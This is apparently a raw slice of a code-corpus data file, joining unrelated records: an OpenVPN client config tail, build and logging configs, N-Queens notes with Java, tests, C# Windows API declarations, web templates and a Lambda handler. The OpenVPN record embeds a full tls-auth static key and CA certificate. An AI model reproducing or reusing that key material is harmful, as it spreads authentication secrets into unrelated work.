CERTIFICATE-----\nMIIFozCCA4ugAwIBAgIBATANBgkqhkiG9w0BAQ0FADBAMQswCQYDVQQGEwJDSDEV\nMBMGA1UEChMMUHJvdG9uVlBOIEFHMRowGAYDVQQDExFQcm90b25WUE4gUm9vdCBD\nQTAeFw0xNzAyMTUxNDM4MDBaFw0yNzAyMTUxNDM4MDBaMEAxCzAJBgNVBAYTAkNI\nMRUwEwYDVQQKEwxQcm90b25WUE4gQUcxGjAYBgNVBAMTEVByb3RvblZQTiBSb290\nIENBMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAt+BsSsZg7+AuqTq7\nvDbPzfygtl9f8fLJqO4amsyOXlI7pquL5IsEZhpWyJIIvYybqS4s1/T7BbvHPLVE\nwlrq8A5DBIXcfuXrBbKoYkmpICGc2u1KYVGOZ9A+PH9z4Tr6OXFfXRnsbZToie8t\n2Xjv/dZDdUDAqeW89I/mXg3k5x08m2nfGCQDm4gCanN1r5MT7ge56z0MkY3FFGCO\nqRwspIEUzu1ZqGSTkG1eQiOYIrdOF5cc7n2APyvBIcfvp/W3cpTOEmEBJ7/14RnX\nnHo0fcx61Inx/6ZxzKkW8BMdGGQF3tF6u2M0FjVN0lLH9S0ul1TgoOS56yEJ34hr\nJSRTqHuar3t/xdCbKFZjyXFZFNsXVvgJu34CNLrHHTGJj9jiUfFnxWQYMo9UNUd4\na3PPG1HnbG7LAjlvj5JlJ5aqO5gshdnqb9uIQeR2CdzcCJgklwRGCyDT1pm7eoiv\nWV19YBd81vKulLzgPavu3kRRe83yl29It2hwQ9FMs5w6ZV/X6ciTKo3etkX9nBD9\nZzJPsGQsBUy7CzO1jK4W01+u3ItmQS+1s4xtcFxdFY8o/q1zoqBlxpe5MQIWN6Qa\nlryiET74gMHE/S5WrPlsq/gehxsdgc6GDUXG4dk8vn6OUMa6wb5wRO3VXGEc67IY\nm4mDFTYiPvLaFOxtndlUWuCruKcCAwEAAaOBpzCBpDAMBgNVHRMEBTADAQH/MB0G\nA1UdDgQWBBSDkIaYhLVZTwyLNTetNB2qV0gkVDBoBgNVHSMEYTBfgBSDkIaYhLVZ\nTwyLNTetNB2qV0gkVKFEpEIwQDELMAkGA1UEBhMCQ0gxFTATBgNVBAoTDFByb3Rv\nblZQTiBBRzEaMBgGA1UEAxMRUHJvdG9uVlBOIFJvb3QgQ0GCAQEwCwYDVR0PBAQD\nAgEGMA0GCSqGSIb3DQEBDQUAA4ICAQCYr7LpvnfZXBCxVIVc2ea1fjxQ6vkTj0zM\nhtFs3qfeXpMRf+g1NAh4vv1UIwLsczilMt87SjpJ25pZPyS3O+/VlI9ceZMvtGXd\nMGfXhTDp//zRoL1cbzSHee9tQlmEm1tKFxB0wfWd/inGRjZxpJCTQh8oc7CTziHZ\nufS+Jkfpc4Rasr31fl7mHhJahF1j/ka/OOWmFbiHBNjzmNWPQInJm+0ygFqij5qs\n51OEvubR8yh5Mdq4TNuWhFuTxpqoJ87VKaSOx/Aefca44Etwcj4gHb7LThidw/ky\nzysZiWjyrbfX/31RX7QanKiMk2RDtgZaWi/lMfsl5O+6E2lJ1vo4xv9pW8225B5X\neAeXHCfjV/vrrCFqeCprNF6a3Tn/LX6VNy3jbeC+167QagBOaoDA01XPOx7Odhsb\nGd7cJ5VkgyycZgLnT9zrChgwjx59JQosFEG1DsaAgHfpEl/N3YPJh68N7fwN41Cj\nzsk39v6iZdfuet/sP7oiP5/gLmA/CIPNhdIYxaojbLjFPkftVjVPn49RqwqzJJPR\nN8BOyb94yhQ7KO4F3IcLT/y/dsWitY0ZH4lCnAVV/v2YjWAWS3OWyC8BFx/Jmc3W\nDK/yPwECUcPgHIeXiRjHnJt0Zcm23O2Q3RphpU+1SO3XixsXpOVOYP6rJIXW9bMZ\nA1gTTlpi7A==\n-----END CERTIFICATE-----\n</ca>\n\nkey-direction 1\n<tls-auth>\n# 2048 bit OpenVPN static key\n-----BEGIN OpenVPN Static key V1-----\n6acef03f62675b4b1bbd03e53b187727\n423cea742242106cb2916a8a4c829756\n3d22c7e5cef430b1103c6f66eb1fc5b3\n75a672f158e2e2e936c3faa48b035a6d\ne17beaac23b5f03b10b868d53d03521d\n8ba115059da777a60cbfd7b2c9c57472\n78a15b8f6e68a3ef7fd583ec9f398c8b\nd4735dab40cbd1e3c62a822e97489186\nc30a0b48c7c38ea32ceb056d3fa5a710\ne10ccc7a0ddb363b08c3d2777a3395e1\n0c0b6080f56309192ab5aacd4b45f55d\na61fc77af39bd81a19218a79762c3386\n2df55785075f37d8c71dc8a42097ee43\n344739a0dd48d03025b0450cf1fb5e8c\naeb893d9a96d1f15519bb3c4dcb40ee3\n16672ea16c012664f8a9f11255518deb\n-----END OpenVPN Static key V1-----\n</tls-auth>\n"} {"text": "{\n \"extends\": \"../tsconfig.lib.prod.json\",\n \"compilerOptions\": {\n \"baseUrl\": \".\",\n \"rootDir\": \".\",\n \"paths\": {\n \"@delon/chart/*\": [\"../../dist/@delon/chart/*\"],\n \"@delon/*\": [\"../../dist/@delon/*\"]\n }\n },\n \"files\": [\"public_api.ts\", \"../typings.d.ts\"],\n \"angularCompilerOptions\": {\n \"annotateForClosureCompiler\": true,\n \"strictMetadataEmit\": false,\n \"skipTemplateCodegen\": true\n }\n}\n"} {"text": "把NQueen board想象成一个1D array。\nindex就是col number\n值就是row number.\n\nvalidate n queue的时候 target row#\n1. array 里面不能有 target row#\n2. diagnal. 记得公式:\n row1 - row2 == col1 - col2. Diagnal elelment.fail\n row1 - row2 == -(col1 - col2). Diagnal element. fail\n\n```\n/*\nThe n-queens puzzle is the problem of placing n queens on an n×n chessboard such that \nno two queens attack each other.\n\nGiven an integer n, return all distinct solutions to the n-queens puzzle.\n\nEach solution contains a distinct board configuration of the n-queens' placement, \nwhere 'Q' and '.' both indicate a queen and an empty space respectively.\n\nFor example,\nThere exist two distinct solutions to the 4-queens puzzle:\n\n[\n [\".Q..\", // Solution 1\n \"...Q\",\n \"Q...\",\n \"..Q.\"],\n\n [\"..Q.\", // Solution 2\n \"Q...\",\n \"...Q\",\n \".Q..\"]\n]\nHide Tags Backtracking\n\n\n*/\n\n/*\n Recap: 12.08.2015\n NQueen: turns into a 1D array of row#'s. What are all of the possible combinations?\n Validate the board:\n With 1 potential canddate, a row# to put in the array\n 1. the 1D array cannot have duplicate of the candidate\n 2. check diagnals:\n row1 - row2 == col1 - col2. Diagnal elelment.fail\n row1 - row2 == -(col1 - col2). Diagnal element. fail\n That is: delta_row = Q1 row - Q2 row\n delta_col = Q1 col - Q2 col\n Let delta_row = the difference in rows between the two queens, and delta_col = the difference in columns. \n The two queens will be on the same diagonal if delta_row == delta_col or delta_row == -delta_col\n\n Create the board:\n carete 2d arraylist based on the 1-D array of row#'s\n\n corner case: if n<=2, no solution\n*/\n\nclass Solution {\n\n public ArrayList<ArrayList<String>> solveNQueens(int n) {\n ArrayList<ArrayList<String>> rst = new ArrayList<ArrayList<String>>();\n if (n <= 0) {\n return rst;\n }\n ArrayList<Integer> list = new ArrayList<Integer>(); //1D array\n helper(rst, list, n);\n\n return rst;\n }\n\n /*\n Validate the board with given input.\n */\n public boolean validate(ArrayList<Integer> list, int rowNum) {\n int colNum = list.size(); // the column that rowNum is going to be put on\n for (int col = 0; col < list.size(); col++) {\n //check row\n if (list.get(col) == rowNum) {\n return false;\n }\n //check diagnal\n //q1 col - newQ col == q1 row - newQ row\n if (col - colNum == list.get(col) - rowNum) {\n return false;\n }\n //q1 col - newQ col == -(q1 row - newQ row)\n if (col - colNum == -(list.get(col) - rowNum)) {\n return false;\n }\n }\n return true;\n }\n\n public ArrayList<String> createBoard(ArrayList<Integer> list){\n ArrayList<String> board = new ArrayList<String>();\n for (int row = 0; row < list.size(); row++) {\n StringBuffer sb = new StringBuffer();\n for (int col : list) {\n if (row == col) {\n sb.append(\"Q\");\n } else {\n sb.append(\".\");\n }\n }\n board.add(sb.toString());\n }\n return board;\n }\n\n\n public void helper(ArrayList<ArrayList<String>> rst, ArrayList<Integer> list, int n){\n if (list.size() == n) {\n rst.add(createBoard(list));\n return;\n }\n //For next Queen, which row to put? Now do recursive:\n for (int i = 0; i < n; i++) {\n if (validate(list, i)) {\n list.add(i);\n helper(rst, list, n);\n list.remove(list.size() - 1);\n }\n }\n }\n};\n\n\n\n//Older version: the naming in validate() is confusing\n/*\nThinking process:\n1. Choose / Not choose concept.\n2. N-Queue facts:\n Each column has 1 Q. Each row has 1 Q. \n That is: each column has 1 Q, which can be present as a row number.\n Use a 1-D array: index is column number, value is row number\n3. When adding a new row Number into the 1-D array, validate it.\n4. Use same procedure in 'permutaions' problem. \n The 1-D array 'cols' will be filled with all kinds of combination from 1 ~ n.\n Only when cols.size() == n, return a solution\n5. When returnning the solution, return the format as a board. ArrayList<String[]>\n*/\nimport java.util.*;\nclass NQueens {\n /**\n * Get all distinct N-Queen solutions\n * @param n: The number of queens\n * @return: All distinct solutions\n * For example, A string '...Q' shows a queen on forth position\n */\n ArrayList<ArrayList<String>> solveNQueens(int n) {\n ArrayList<ArrayList<String>> rst = new ArrayList<ArrayList<String>>();\n if (n <= 0) {\n return rst;\n }\n search(n, new ArrayList<Integer>(), rst);\n return rst;\n } \n\n ArrayList<String> createBoard(ArrayList<Integer> cols) {\n ArrayList<String> solution = new ArrayList<String>();\n for (int i = 0; i < cols.size(); i++) {\n StringBuffer sb = new StringBuffer();\n for (int j = 0; j < cols.size(); j++){\n if (j == cols.get(i)) {\n sb.append( \"Q\");\n } else {\n sb.append( \".\");\n }\n }\n solution.add(sb.toString());\n }\n return solution;\n }\n\n boolean isValid (ArrayList<Integer> cols, int col) {\n int row = cols.size();\n for (int i = 0; i < row; i++) {\n if (cols.get(i) == col ) {\n return false;\n }\n //Check diagnal: Q1_row - Q2_row == Q1_col - Q2_col\n //In this case:\n //col: the target queen's column#\n //cols.get(i): the target queen's row#\n //We compare them with (row: current max_column#) and (i: current row#), to check if valid\n if (i - cols.get(i) == row - col) {\n return false;\n } \n if (i + cols.get(i) == row + col) {\n return false;\n }\n }\n return true;\n }\n\n void search(int n, ArrayList<Integer> cols, ArrayList<ArrayList<String>> rst) {\n if (cols.size() == n) {\n rst.add(createBoard(cols));\n return;\n }\n for (int i = 0; i < n; i++) {\n if (!isValid(cols, i)) {\n continue;\n }\n cols.add(i);\n search(n, cols, rst);\n cols.remove(cols.size() - 1);\n }\n }\n\n public static void main(String[] args){\n NQueens test = new NQueens();\n test.solveNQueens(4);\n }\n\n};\n```"} {"text": "class BackfillClaimantType < ActiveRecord::Migration[5.2]\n disable_ddl_transaction!\n\n def change\n Claimant.unscoped.in_batches do |relation|\n relation.update_all type: \"Claimant\"\n sleep(0.1)\n end\n end\nend\n"} {"text": "<source>\n @type forward\n @id input1\n @label @mainstream\n port 24224\n</source>\n\n<filter **>\n @type stdout\n</filter>\n\n<label @mainstream>\n <match docker.**>\n @type file\n @id output_docker1\n path /fluentd/log/docker.*.log\n symlink_path /fluentd/log/docker.log\n append true\n time_slice_format %Y%m%d\n time_slice_wait 1m\n time_format %Y%m%dT%H%M%S%z\n </match>\n <match **>\n @type file\n @id output1\n path /fluentd/log/data.*.log\n symlink_path /fluentd/log/data.log\n append true\n time_slice_format %Y%m%d\n time_slice_wait 10m\n time_format %Y%m%dT%H%M%S%z\n </match>\n</label>\n"} {"text": "# Copyright 2015 The TensorFlow Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ==============================================================================\n\n\"\"\"Tests for models.tutorials.rnn.ptb.reader.\"\"\"\n\nimport os.path\n\nimport tensorflow as tf\n\nfrom . import ptb_reader as reader\n\n\nclass PtbReaderTest(tf.test.TestCase):\n\n def setUp(self):\n self._string_data = \"\\n\".join(\n [\" hello there i am\",\n \" rain as day\",\n \" want some cheesy puffs ?\"])\n\n def testPtbRawData(self):\n tmpdir = tf.test.get_temp_dir()\n for suffix in \"train\", \"valid\", \"test\":\n filename = os.path.join(tmpdir, \"ptb.%s.txt\" % suffix)\n with tf.gfile.GFile(filename, \"w\") as fh:\n fh.write(self._string_data)\n # Smoke test\n output = reader.ptb_raw_data(tmpdir)\n self.assertEqual(len(output), 4)\n\n def testPtbProducer(self):\n raw_data = [4, 3, 2, 1, 0, 5, 6, 1, 1, 1, 1, 0, 3, 4, 1]\n batch_size = 3\n num_steps = 2\n x, y = reader.ptb_producer(raw_data, batch_size, num_steps)\n with self.test_session() as session:\n coord = tf.train.Coordinator()\n tf.train.start_queue_runners(session, coord=coord)\n try:\n xval, yval = session.run([x, y], )\n self.assertAllEqual(xval, [[4, 3], [5, 6], [1, 0]])\n self.assertAllEqual(yval, [[3, 2], [6, 1], [0, 3]])\n xval, yval = session.run([x, y], )\n self.assertAllEqual(xval, [[2, 1], [1, 1], [3, 4]])\n self.assertAllEqual(yval, [[1, 0], [1, 1], [4, 1]])\n finally:\n coord.request_stop()\n coord.join()\n\n\nif __name__ == \"__main__\":\n tf.test.main()\n"} {"text": "using System;\nusing System.Drawing;\nusing System.Runtime.InteropServices;\nusing System.Diagnostics.CodeAnalysis;\nusing WeifenLuo.WinFormsUI.Docking.Win32;\n\nnamespace WeifenLuo.WinFormsUI.Docking\n{\n internal static class NativeMethods\n {\n [DllImport(\"User32.dll\", CharSet=CharSet.Auto)]\n [return: MarshalAs(UnmanagedType.Bool)]\n public static extern bool DragDetect(IntPtr hWnd, Point pt);\n\n [DllImport(\"User32.dll\", CharSet=CharSet.Auto)]\n public static extern IntPtr GetFocus();\n\n [DllImport(\"User32.dll\", CharSet=CharSet.Auto)]\n public static extern IntPtr SetFocus(IntPtr hWnd);\n\n [DllImport(\"User32.dll\", CharSet=CharSet.Auto)]\n [return: MarshalAs(UnmanagedType.Bool)]\n public static extern bool PostMessage(IntPtr hWnd, int Msg, uint wParam, uint lParam);\n\n [DllImport(\"User32.dll\", CharSet=CharSet.Auto)]\n public static extern uint SendMessage(IntPtr hWnd, int Msg, uint wParam, uint lParam);\n\n [DllImport(\"User32.dll\", CharSet=CharSet.Auto)]\n public static extern int SetWindowPos(IntPtr hWnd, IntPtr hWndAfter, int X, int Y, int Width, int Height, FlagsSetWindowPos flags);\n\n [DllImport(\"user32.dll\", CharSet = CharSet.Auto)]\n public static extern int GetWindowLong(IntPtr hWnd, int Index);\n\n [DllImport(\"user32.dll\", CharSet = CharSet.Auto)]\n public static extern int SetWindowLong(IntPtr hWnd, int Index, int Value);\n\n [DllImport(\"user32.dll\", CharSet=CharSet.Auto)]\n public static extern int ShowScrollBar(IntPtr hWnd, int wBar, int bShow);\n\n [DllImport(\"user32.dll\", CharSet=CharSet.Auto)]\n //*********************************\n // FxCop bug, suppress the message\n //*********************************\n [SuppressMessage(\"Microsoft.Portability\", \"CA1901:PInvokeDeclarationsShouldBePortable\", MessageId = \"0\")]\n public static extern IntPtr WindowFromPoint(Point point);\n\n [DllImport(\"Kernel32.dll\", CharSet = CharSet.Auto)]\n public static extern int GetCurrentThreadId();\n\n public delegate IntPtr HookProc(int code, IntPtr wParam, IntPtr lParam);\n\n [DllImport(\"user32.dll\")]\n public static extern IntPtr SetWindowsHookEx(Win32.HookType code, HookProc func, IntPtr hInstance, int threadID);\n\n [DllImport(\"user32.dll\")]\n public static extern int UnhookWindowsHookEx(IntPtr hhook);\n\n [DllImport(\"user32.dll\")]\n public static extern IntPtr CallNextHookEx(IntPtr hhook, int code, IntPtr wParam, IntPtr lParam);\n }\n}"} {"text": "<!--\n Licensed to the Apache Software Foundation (ASF) under one or more\n contributor license agreements. See the NOTICE file distributed with\n this work for additional information regarding copyright ownership.\n The ASF licenses this file to You under the Apache License, Version 2.0\n (the \"License\"); you may not use this file except in compliance with\n the License. You may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n-->\n\n<!-- should always link the latest release's documentation -->\n<!--#include virtual=\"../../../streams/developer-guide/config-streams.html\" -->\n"} {"text": "<!DOCTYPE html>\n<html lang=\"{{ \\App::getLocale() }}\" dir=\"{{ htmldir() }}\">\n <head>\n <base href=\"{{ url('/') }}/\" />\n <meta charset=\"utf-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\">\n <title>@yield('title', trans('app.application_title'))</title>\n <link rel=\"manifest\" href=\"manifest.webmanifest\">\n\n <link rel=\"stylesheet\" href=\"{{ asset(mix('css/app-'.htmldir().'.css')) }}\">\n <link rel=\"shortcut icon\" href=\"img/favicon.png\">\n <script>\n window.Laravel = {!! \\Safe\\json_encode([\n 'locale' => \\App::getLocale(),\n 'htmldir' => htmldir(),\n ]); !!}\n </script>\n </head>\n\n <body data-account-id={{ auth()->user()->account_id }} class=\"marketing register bg-gray-monica\">\n\n <div id=\"app\">\n @yield('content')\n </div>\n\n {{-- THE JS FILE OF THE APP --}}\n <script src=\"{{ asset(mix('js/manifest.js')) }}\"></script>\n <script src=\"{{ asset(mix('js/vendor.js')) }}\"></script>\n <script src=\"{{ asset(mix('js/app.js')) }}\"></script>\n\n @stack('scripts')\n\n </body>\n</html>\n"} {"text": "# -*- coding: utf-8 -*-\n\n\"\"\"in- vs. un-.\"\"\"\n\nfrom proselint.tools import memoize, preferred_forms_check\n\n\n@memoize\ndef check(text):\n \"\"\"in- vs un-.\"\"\"\n err = \"spelling.in_un\"\n msg = \"in- vs. un-. '{}' is the preferred spelling.\"\n\n preferences = [\n\n [\"inadvisable\", [\"unadvisable\"]],\n [\"inalienable\", [\"unalienable\"]],\n [\"inexpressive\", [\"unexpressive\"]],\n [\"infeasible\", [\"unfeasible\"]],\n ]\n\n return preferred_forms_check(text, preferences, err, msg)\n"} {"text": "# -*- Python -*-\n\nimport os\nimport platform\nimport re\nimport subprocess\nimport tempfile\nfrom distutils.spawn import find_executable\n\nimport lit.formats\nimport lit.util\n\nfrom lit.llvm import llvm_config\n\n# Configuration file for the 'lit' test runner.\n\n# name: The name of this test suite.\nconfig.name = 'SYCL'\n\n# testFormat: The test format to use to interpret tests.\n#\n# For now we require '&&' between commands, until they get globally killed and\n# the test runner updated.\nconfig.test_format = lit.formats.ShTest()\n\n# suffixes: A list of file extensions to treat as test files.\nconfig.suffixes = ['.c', '.cpp', '.dump'] #add .spv. Currently not clear what to do with those\n\n# feature tests are considered not so lightweight, so, they are excluded by default\nconfig.excludes = ['Inputs', 'feature-tests']\n\n# test_source_root: The root path where tests are located.\nconfig.test_source_root = os.path.dirname(__file__)\n\n# test_exec_root: The root path where tests should be run.\nconfig.test_exec_root = os.path.join(config.sycl_obj_root, 'test')\n\n# Propagate some variables from the host environment.\nllvm_config.with_system_environment(['PATH', 'OCL_ICD_FILENAMES', 'SYCL_DEVICE_ALLOWLIST', 'SYCL_CONFIG_FILE_NAME'])\n\n# Configure LD_LIBRARY_PATH or corresponding os-specific alternatives\nif platform.system() == \"Linux\":\n config.available_features.add('linux')\n llvm_config.with_system_environment('LD_LIBRARY_PATH')\n llvm_config.with_environment('LD_LIBRARY_PATH', config.sycl_libs_dir, append_path=True)\n llvm_config.with_system_environment('CFLAGS')\n llvm_config.with_environment('CFLAGS', config.sycl_clang_extra_flags)\n\nelif platform.system() == \"Windows\":\n config.available_features.add('windows')\n llvm_config.with_system_environment('LIB')\n llvm_config.with_environment('LIB', config.sycl_libs_dir, append_path=True)\n\nelif platform.system() == \"Darwin\":\n # FIXME: surely there is a more elegant way to instantiate the Xcode directories.\n llvm_config.with_system_environment('CPATH')\n llvm_config.with_environment('CPATH', \"/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/include/c++/v1\", append_path=True)\n llvm_config.with_environment('CPATH', \"/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/\", append_path=True)\n llvm_config.with_environment('DYLD_LIBRARY_PATH', config.sycl_libs_dir)\n\nllvm_config.with_environment('PATH', config.sycl_tools_dir, append_path=True)\n\nconfig.substitutions.append( ('%threads_lib', config.sycl_threads_lib) )\nconfig.substitutions.append( ('%sycl_libs_dir', config.sycl_libs_dir ) )\nconfig.substitutions.append( ('%sycl_include', config.sycl_include ) )\nconfig.substitutions.append( ('%sycl_source_dir', config.sycl_source_dir) )\nconfig.substitutions.append( ('%opencl_libs_dir', config.opencl_libs_dir) )\nconfig.substitutions.append( ('%opencl_include_dir', config.opencl_include_dir) )\nconfig.substitutions.append( ('%cuda_toolkit_include', config.cuda_toolkit_include) )\nconfig.substitutions.append( ('%sycl_tools_src_dir', config.sycl_tools_src_dir ) )\nconfig.substitutions.append( ('%llvm_build_lib_dir', config.llvm_build_lib_dir ) )\nconfig.substitutions.append( ('%llvm_build_bin_dir', config.llvm_build_bin_dir ) )\n\nllvm_config.use_clang()\n\nllvm_config.add_tool_substitutions(['llvm-spirv'], [config.sycl_tools_dir])\n\nbackend=lit_config.params.get('SYCL_BE', \"PI_OPENCL\")\nlit_config.note(\"Backend (SYCL_BE): {}\".format(backend))\nconfig.substitutions.append( ('%sycl_be', backend) )\n\nget_device_count_by_type_path = os.path.join(config.llvm_tools_dir, \"get_device_count_by_type\")\n\ndef getDeviceCount(device_type):\n is_cuda = False;\n is_level_zero = False;\n process = subprocess.Popen([get_device_count_by_type_path, device_type, backend],\n stdout=subprocess.PIPE)\n (output, err) = process.communicate()\n exit_code = process.wait()\n\n if exit_code != 0:\n lit_config.error(\"getDeviceCount {TYPE} {BACKEND}: Non-zero exit code {CODE}\".format(\n TYPE=device_type, BACKEND=backend, CODE=exit_code))\n return [0,False,False]\n\n result = output.decode().replace('\\n', '').split(':', 1)\n try:\n value = int(result[0])\n except ValueError:\n value = 0\n lit_config.error(\"getDeviceCount {TYPE} {BACKEND}: Cannot get value from output: {OUT}\".format(\n TYPE=device_type, BACKEND=backend, OUT=result[0]))\n\n # if we have found gpu and there is additional information, let's check\n # whether this is CUDA device or Level Zero device or none of these.\n if device_type == \"gpu\" and value > 0 and len(result[1]):\n if re.match(r\".*cuda\", result[1]):\n is_cuda = True;\n if re.match(r\".*level zero\", result[1]):\n is_level_zero = True;\n\n if err:\n lit_config.warning(\"getDeviceCount {TYPE} {BACKEND} stderr:{ERR}\".format(\n TYPE=device_type, BACKEND=backend, ERR=err))\n return [value,is_cuda,is_level_zero]\n\n# Every SYCL implementation provides a host implementation.\nconfig.available_features.add('host')\n\n# Configure device-specific substitutions based on availability of corresponding\n# devices/runtimes\n\nfound_at_least_one_device = False\n\ncpu_run_substitute = \"true\"\ncpu_run_on_linux_substitute = \"true \"\ncpu_check_substitute = \"\"\ncpu_check_on_linux_substitute = \"\"\n\nif getDeviceCount(\"cpu\")[0]:\n found_at_least_one_device = True\n lit_config.note(\"Found available CPU device\")\n cpu_run_substitute = \"env SYCL_DEVICE_TYPE=CPU SYCL_BE={SYCL_BE} \".format(SYCL_BE=backend)\n cpu_check_substitute = \"| FileCheck %s\"\n config.available_features.add('cpu')\n if platform.system() == \"Linux\":\n cpu_run_on_linux_substitute = \"env SYCL_DEVICE_TYPE=CPU SYCL_BE={SYCL_BE} \".format(SYCL_BE=backend)\n cpu_check_on_linux_substitute = \"| FileCheck %s\"\nelse:\n lit_config.warning(\"CPU device not found\")\n\nconfig.substitutions.append( ('%CPU_RUN_PLACEHOLDER', cpu_run_substitute) )\nconfig.substitutions.append( ('%CPU_RUN_ON_LINUX_PLACEHOLDER', cpu_run_on_linux_substitute) )\nconfig.substitutions.append( ('%CPU_CHECK_PLACEHOLDER', cpu_check_substitute) )\nconfig.substitutions.append( ('%CPU_CHECK_ON_LINUX_PLACEHOLDER', cpu_check_on_linux_substitute) )\n\ngpu_run_substitute = \"true\"\ngpu_run_on_linux_substitute = \"true \"\ngpu_check_substitute = \"\"\ngpu_check_on_linux_substitute = \"\"\n\ncuda = False\nlevel_zero = False\n[gpu_count, cuda, level_zero] = getDeviceCount(\"gpu\")\n\nif gpu_count > 0:\n found_at_least_one_device = True\n lit_config.note(\"Found available GPU device\")\n gpu_run_substitute = \" env SYCL_DEVICE_TYPE=GPU SYCL_BE={SYCL_BE} \".format(SYCL_BE=backend)\n gpu_check_substitute = \"| FileCheck %s\"\n config.available_features.add('gpu')\n if cuda:\n config.available_features.add('cuda')\n elif level_zero:\n config.available_features.add('level_zero')\n\n if platform.system() == \"Linux\":\n gpu_run_on_linux_substitute = \"env SYCL_DEVICE_TYPE=GPU SYCL_BE={SYCL_BE} \".format(SYCL_BE=backend)\n gpu_check_on_linux_substitute = \"| FileCheck %s\"\n # ESIMD-specific setup. Requires OpenCL for now.\n esimd_run_substitute = \" env SYCL_BE=PI_OPENCL SYCL_DEVICE_TYPE=GPU SYCL_PROGRAM_COMPILE_OPTIONS=-cmc\"\n config.substitutions.append( ('%ESIMD_RUN_PLACEHOLDER', esimd_run_substitute) )\n config.substitutions.append( ('%clangxx-esimd', \"clang++ -fsycl-explicit-simd\" ) )\nelse:\n lit_config.warning(\"GPU device not found\")\n\nconfig.substitutions.append( ('%GPU_RUN_PLACEHOLDER', gpu_run_substitute) )\nconfig.substitutions.append( ('%GPU_RUN_ON_LINUX_PLACEHOLDER', gpu_run_on_linux_substitute) )\nconfig.substitutions.append( ('%GPU_CHECK_PLACEHOLDER', gpu_check_substitute) )\nconfig.substitutions.append( ('%GPU_CHECK_ON_LINUX_PLACEHOLDER', gpu_check_on_linux_substitute) )\n\nacc_run_substitute = \"true\"\nacc_check_substitute = \"\"\nif getDeviceCount(\"accelerator\")[0]:\n found_at_least_one_device = True\n lit_config.note(\"Found available accelerator device\")\n acc_run_substitute = \" env SYCL_DEVICE_TYPE=ACC \"\n acc_check_substitute = \"| FileCheck %s\"\n config.available_features.add('accelerator')\nelse:\n lit_config.warning(\"Accelerator device not found\")\nconfig.substitutions.append( ('%ACC_RUN_PLACEHOLDER', acc_run_substitute) )\nconfig.substitutions.append( ('%ACC_CHECK_PLACEHOLDER', acc_check_substitute) )\n\n# LIT testing either supports OpenCL or CUDA or Level Zero.\nif not cuda and not level_zero and found_at_least_one_device:\n config.available_features.add('opencl')\n\nif cuda:\n config.substitutions.append( ('%sycl_triple', \"nvptx64-nvidia-cuda-sycldevice\" ) )\nelse:\n config.substitutions.append( ('%sycl_triple', \"spir64-unknown-linux-sycldevice\" ) )\n\nif \"opencl-aot\" in config.llvm_enable_projects:\n lit_config.note(\"Using opencl-aot version which is built as part of the project\")\n config.available_features.add(\"opencl-aot\")\n llvm_config.add_tool_substitutions(['opencl-aot'], [config.sycl_tools_dir])\n\n# Device AOT compilation tools aren't part of the SYCL project,\n# so they need to be pre-installed on the machine\naot_tools = [\"ocloc\", \"aoc\"]\nif \"opencl-aot\" not in config.llvm_enable_projects:\n aot_tools.append('opencl-aot')\n\nfor aot_tool in aot_tools:\n if find_executable(aot_tool) is not None:\n lit_config.note(\"Found pre-installed AOT device compiler \" + aot_tool)\n config.available_features.add(aot_tool)\n else:\n lit_config.warning(\"Couldn't find pre-installed AOT device compiler \" + aot_tool)\n\n# Set timeout for test = 10 mins\ntry:\n import psutil\n lit_config.maxIndividualTestTime = 600\nexcept ImportError:\n pass\n"} {"text": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<manifest xmlns:android=\"http://schemas.android.com/apk/res/android\"\n package=\"paolorotolo.github.com.expandableheightlistviewexample\" >\n\n <application\n android:allowBackup=\"true\"\n android:icon=\"@mipmap/ic_launcher\"\n android:label=\"@string/app_name\"\n android:theme=\"@style/AppTheme\" >\n <activity\n android:name=\".MainActivity\"\n android:label=\"@string/app_name\" >\n <intent-filter>\n <action android:name=\"android.intent.action.MAIN\" />\n\n <category android:name=\"android.intent.category.LAUNCHER\" />\n </intent-filter>\n </activity>\n <activity\n android:name=\".DefaultListView\"\n android:label=\"@string/title_activity_default_list_view\" >\n </activity>\n <activity\n android:name=\".ExpandableListView\"\n android:label=\"@string/title_activity_expandable_list_view\" >\n </activity>\n </application>\n\n</manifest>\n"} {"text": "\nimport json\nimport datetime\n\n\ndef endpoint(event, context):\n current_time = datetime.datetime.now().time()\n body = {\n \"message\": \"Hello, the current time is \" + str(current_time)\n }\n\n response = {\n \"statusCode\": 200,\n \"body\": json.dumps(body)\n }\n\n return response\n"} {"text": "/*\n * Copyright (c) 2003, 2017, Oracle and/or its affiliates. All rights reserved.\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * This code is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License version 2 only, as\n * published by the Free Software Foundation. Oracle designates this\n * particular file as subject to the \"Classpath\" exception as provided\n * by Oracle in the LICENSE file that accompanied this code.\n *\n * This code is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License\n * version 2 for more details (a copy is included in the LICENSE file that\n * accompanied this code).\n *\n * You should have received a copy of the GNU General Public License version\n * 2 along with this work; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n *\n * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA\n * or visit 